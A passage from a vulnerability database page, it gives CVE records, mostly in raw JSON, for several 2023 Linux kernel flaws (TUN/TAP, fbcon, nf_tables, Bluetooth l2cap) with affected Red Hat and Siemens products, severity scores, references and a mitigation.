          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-305.120.1.el8_4",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_e4s:8.4::baseos"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kpatch-patch",
          "product": "Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_eus:8.6::baseos"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kpatch-patch",
          "product": "Red Hat Enterprise Linux 8.6 Extended Update Support",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_eus:8.6::baseos",
            "cpe:/a:redhat:rhel_eus:8.6::crb",
            "cpe:/o:redhat:rhev_hypervisor:4.4::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8.6 Extended Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-372.87.1.el8_6",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_eus:8.8::baseos"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kpatch-patch",
          "product": "Red Hat Enterprise Linux 8.8 Extended Update Support",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_eus:8.8::crb",
            "cpe:/o:redhat:rhel_eus:8.8::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 8.8 Extended Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-477.43.1.el8_8",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:9::realtime",
            "cpe:/a:redhat:enterprise_linux:9::crb",
            "cpe:/o:redhat:enterprise_linux:9::baseos",
            "cpe:/a:redhat:enterprise_linux:9::appstream",
            "cpe:/a:redhat:enterprise_linux:9::nfv"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:5.14.0-362.18.1.el9_3",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9::baseos"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kpatch-patch",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:9::realtime",
            "cpe:/a:redhat:enterprise_linux:9::crb",
            "cpe:/o:redhat:enterprise_linux:9::baseos",
            "cpe:/a:redhat:enterprise_linux:9::appstream",
            "cpe:/a:redhat:enterprise_linux:9::nfv"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:5.14.0-362.18.1.el9_3",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_eus:9.0::baseos",
            "cpe:/a:redhat:rhel_eus:9.0::crb",
            "cpe:/a:redhat:rhel_eus:9.0::appstream"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 9.0 Extended Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:5.14.0-70.80.1.el9_0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_eus:9.0::realtime",
            "cpe:/a:redhat:rhel_eus:9.0::nfv"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 9.0 Extended Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:5.14.0-70.80.1.rt21.151.el9_0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_eus:9.0::baseos"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kpatch-patch",
          "product": "Red Hat Enterprise Linux 9.0 Extended Update Support",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_eus:9.2::crb",
            "cpe:/o:redhat:rhel_eus:9.2::baseos",
            "cpe:/a:redhat:rhel_eus:9.2::appstream"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 9.2 Extended Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:5.14.0-284.40.1.el9_2",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhel_eus:9.2::realtime",
            "cpe:/a:redhat:rhel_eus:9.2::nfv"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 9.2 Extended Update Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:5.14.0-284.40.1.rt14.325.el9_2",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_eus:9.2::baseos"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kpatch-patch",
          "product": "Red Hat Enterprise Linux 9.2 Extended Update Support",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_eus:8.6::baseos",
            "cpe:/a:redhat:rhel_eus:8.6::crb",
            "cpe:/o:redhat:rhev_hypervisor:4.4::el8"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel",
          "product": "Red Hat Virtualization 4 for Red Hat Enterprise Linux 8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:4.18.0-372.87.1.el8_6",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:6"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 6",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:7"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kernel",
          "product": "Red Hat Enterprise Linux 7",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:7"
          ],
          "defaultStatus": "unaffected",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 7",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "affected",
          "packageName": "kernel-rt",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        }
      ],
      "datePublic": "2022-10-22T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "An out-of-bounds memory access flaw was found in the Linux kernel\u2019s TUN/TAP device driver functionality in how a user generates a malicious (too big) networking packet when napi frags is enabled. This flaw allows a local user to crash or potentially escalate their privileges on the system."
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "namespace": "https://access.redhat.com/security/updates/classification/",
              "value": "Important"
            },
            "type": "Red Hat severity rating"
          }
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-787",
              "description": "Out-of-bounds Write",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-26T20:27:31.255Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "name": "RHSA-2023:6799",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:6799"
        },
        {
          "name": "RHSA-2023:6813",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:6813"
        },
        {
          "name": "RHSA-2023:7370",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:7370"
        },
        {
          "name": "RHSA-2023:7379",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:7379"
        },
        {
          "name": "RHSA-2023:7382",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:7382"
        },
        {
          "name": "RHSA-2023:7389",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:7389"
        },
        {
          "name": "RHSA-2023:7411",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:7411"
        },
        {
          "name": "RHSA-2023:7418",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:7418"
        },
        {
          "name": "RHSA-2023:7548",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:7548"
        },
        {
          "name": "RHSA-2023:7549",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:7549"
        },
        {
          "name": "RHSA-2023:7554",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2023:7554"
        },
        {
          "name": "RHSA-2024:0340",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:0340"
        },
        {
          "name": "RHSA-2024:0378",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:0378"
        },
        {
          "name": "RHSA-2024:0412",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:0412"
        },
        {
          "name": "RHSA-2024:0461",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:0461"
        },
        {
          "name": "RHSA-2024:0554",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:0554"
        },
        {
          "name": "RHSA-2024:0562",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:0562"
        },
        {
          "name": "RHSA-2024:0563",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:0563"
        },
        {
          "name": "RHSA-2024:0575",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:0575"
        },
        {
          "name": "RHSA-2024:0593",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:0593"
        },
        {
          "name": "RHSA-2024:1961",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:1961"
        },
        {
          "name": "RHSA-2024:2006",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:2006"
        },
        {
          "name": "RHSA-2024:2008",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2024:2008"
        },
        {
          "tags": [
            "vdb-entry",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/security/cve/CVE-2023-3812"
        },
        {
          "name": "RHBZ#2224048",
          "tags": [
            "issue-tracking",
            "x_refsource_REDHAT"
          ],
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2224048"
        },
        {
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=363a5328f4b0"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2023-07-19T00:00:00.000Z",
          "value": "Reported to Red Hat."
        },
        {
          "lang": "en",
          "time": "2022-10-22T00:00:00.000Z",
          "value": "Made public."
        }
      ],
      "title": "Kernel: tun: bugs for oversize packet when napi frags enabled in tun_napi_alloc_frags",
      "workarounds": [
        {
          "lang": "en",
          "value": "To mitigate this issue, prevent the tun module from being loaded. Please see https://access.redhat.com/solutions/41278 for how to blacklist a kernel module to prevent it from loading automatically."
        }
      ],
      "x_generator": {
        "engine": "cvelib 1.8.0"
      },
      "x_redhatCweChain": "CWE-787: Out-of-bounds Write"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2023-3812",
    "datePublished": "2023-07-24T15:19:21.817Z",
    "dateReserved": "2023-07-20T13:02:44.826Z",
    "dateUpdated": "2026-02-26T20:27:31.255Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-38409 (GCVE-0-2023-38409)

Vulnerability from cvelistv5 – Published: 2023-07-17 00:00 – Updated: 2024-10-30 14:58

Summary

An issue was discovered in set_con2fb_map in drivers/video/fbdev/core/fbcon.c in the Linux kernel before 6.2.12. Because an assignment occurs only for the first vc, the fbcon_registered_fb and fbcon_display arrays can be desynchronized in fbcon_mode_deleted (the con2fb_map points at the old fb_info).

Severity

No CVSS data available.

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-10-30 14:58 UTC

CWE

n/a
CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

mitre CNA under the mitre root

CNA scorecard E 28/100 over 2251 records in the last 180 days details

References

2 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/t…
https://cdn.kernel.org/pub/linux/kernel/v6.x/Chan…

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T17:39:13.503Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=fffb0b52d5258554c645c966c6cbef7de50b851d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.2.12"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-38409",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-30T14:58:04.173881Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-362",
                "description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-30T14:58:56.847Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "An issue was discovered in set_con2fb_map in drivers/video/fbdev/core/fbcon.c in the Linux kernel before 6.2.12. Because an assignment occurs only for the first vc, the fbcon_registered_fb and fbcon_display arrays can be desynchronized in fbcon_mode_deleted (the con2fb_map points at the old fb_info)."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-07-17T00:00:00.000Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=fffb0b52d5258554c645c966c6cbef7de50b851d"
        },
        {
          "url": "https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.2.12"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2023-38409",
    "datePublished": "2023-07-17T00:00:00.000Z",
    "dateReserved": "2023-07-17T00:00:00.000Z",
    "dateUpdated": "2024-10-30T14:58:56.847Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2023-4015 (GCVE-0-2023-4015)

Vulnerability from cvelistv5 – Published: 2023-09-06 13:52 – Updated: 2026-10-14 21:23

Title

Use-after-free in Linux kernel's netfilter: nf_tables component

Summary

A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation. On an error when building a nftables rule, deactivating immediate expressions in nft_immediate_deactivate() can lead unbinding the chain and objects be deactivated but later used. We recommend upgrading past commit 0a771f7b266b02d262900c75f1e175c7fe76fec2.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Google CNA under the Google root

CNA scorecard B 77/100 over 40 records in the last 180 days details

References

5 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/t…	patch
https://kernel.dance/0a771f7b266b02d262900c75f1e1…
https://www.debian.org/security/2023/dsa-5492
https://cert-portal.siemens.com/productcert/html/…
https://cert-portal.siemens.com/productcert/html/…

Impacted products

2 products

Vendor	Product	Version
Linux	Kernel	Affected: 6.4 , < 6.5 (custom)
Siemens	SIMATIC S7-1500 TM MFP - GNU/Linux subsystem	Affected: 0 , < V1.1 (custom)

Date Public

2023-07-26 14:48

Credits

Kevin Rich

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T07:17:11.558Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0a771f7b266b02d262900c75f1e175c7fe76fec2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://kernel.dance/0a771f7b266b02d262900c75f1e175c7fe76fec2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.debian.org/security/2023/dsa-5492"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V1.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-14T21:23:00.520Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-831302.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-794697.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageName": "kernel",
          "product": "Kernel",
          "repo": "https://git.kernel.org",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6.5",
              "status": "affected",
              "version": "6.4",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Kevin Rich"
        }
      ],
      "datePublic": "2023-07-26T14:48:49.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A use-after-free vulnerability in the Linux kernel\u0027s netfilter: nf_tables component can be exploited to achieve local privilege escalation.\n\nOn an error when building a nftables rule, deactivating immediate expressions in nft_immediate_deactivate() can lead unbinding the chain and objects be deactivated but later used.\n\nWe recommend upgrading past commit 0a771f7b266b02d262900c75f1e175c7fe76fec2."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-233",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-233 Privilege Escalation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416 Use After Free",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-09-10T11:06:38.175Z",
        "orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
        "shortName": "Google"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0a771f7b266b02d262900c75f1e175c7fe76fec2"
        },
        {
          "url": "https://kernel.dance/0a771f7b266b02d262900c75f1e175c7fe76fec2"
        },
        {
          "url": "https://www.debian.org/security/2023/dsa-5492"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Use-after-free in Linux kernel\u0027s netfilter: nf_tables component",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778",
    "assignerShortName": "Google",
    "cveId": "CVE-2023-4015",
    "datePublished": "2023-09-06T13:52:44.724Z",
    "dateReserved": "2023-07-31T10:37:30.332Z",
    "dateUpdated": "2026-10-14T21:23:00.520Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-40283 (GCVE-0-2023-40283)

Vulnerability from cvelistv5 – Published: 2023-08-14 00:00 – Updated: 2026-10-14 23:47

Summary

An issue was discovered in l2cap_sock_release in net/bluetooth/l2cap_sock.c in the Linux kernel before 6.4.10. There is a use-after-free because the children of an sk are mishandled.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-05-10 04:00 UTC

CWE

n/a
CWE-416 - Use After Free

Assigner

mitre CNA under the mitre root

CNA scorecard E 28/100 over 2251 records in the last 180 days details

References

12 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/t…
https://github.com/torvalds/linux/commit/1728137b…
https://cdn.kernel.org/pub/linux/kernel/v6.x/Chan…
https://www.debian.org/security/2023/dsa-5480	vendor-advisory
https://www.debian.org/security/2023/dsa-5492	vendor-advisory
http://packetstormsecurity.com/files/175072/Kerne…
https://lists.debian.org/debian-lts-announce/2023…	mailing-list
https://security.netapp.com/advisory/ntap-2023102…
http://packetstormsecurity.com/files/175963/Kerne…
https://lists.debian.org/debian-lts-announce/2024…	mailing-list
https://cert-portal.siemens.com/productcert/html/…
https://cert-portal.siemens.com/productcert/html/…

Impacted products

3 products

Vendor	Product	Version
Siemens	SIMATIC S7-1500 CPU 1518-4 PN/DP MFP	Affected: V3.1.0 , < V3.1.5 (custom)
Siemens	SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP	Affected: V3.1.0 , < V3.1.5 (custom)
Siemens	SIPLUS S7-1500 CPU 1518-4 PN/DP MFP	Affected: V3.1.0 , < V3.1.5 (custom)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T18:31:53.261Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1728137b33c00d5a2b5110ed7aafb42e7c32e4a1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/torvalds/linux/commit/1728137b33c00d5a2b5110ed7aafb42e7c32e4a1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.4.10"
          },
          {
            "name": "DSA-5480",
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://www.debian.org/security/2023/dsa-5480"
          },
          {
            "name": "DSA-5492",
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://www.debian.org/security/2023/dsa-5492"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://packetstormsecurity.com/files/175072/Kernel-Live-Patch-Security-Notice-LSN-0098-1.html"
          },
          {
            "name": "[debian-lts-announce] 20231019 [SECURITY] [DLA 3623-1] linux-5.10 security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20231020-0007/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://packetstormsecurity.com/files/175963/Kernel-Live-Patch-Security-Notice-LSN-0099-1.html"
          },
          {
            "name": "[debian-lts-announce] 20240111 [SECURITY] [DLA 3710-1] linux security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-40283",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-10T04:00:08.967057Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
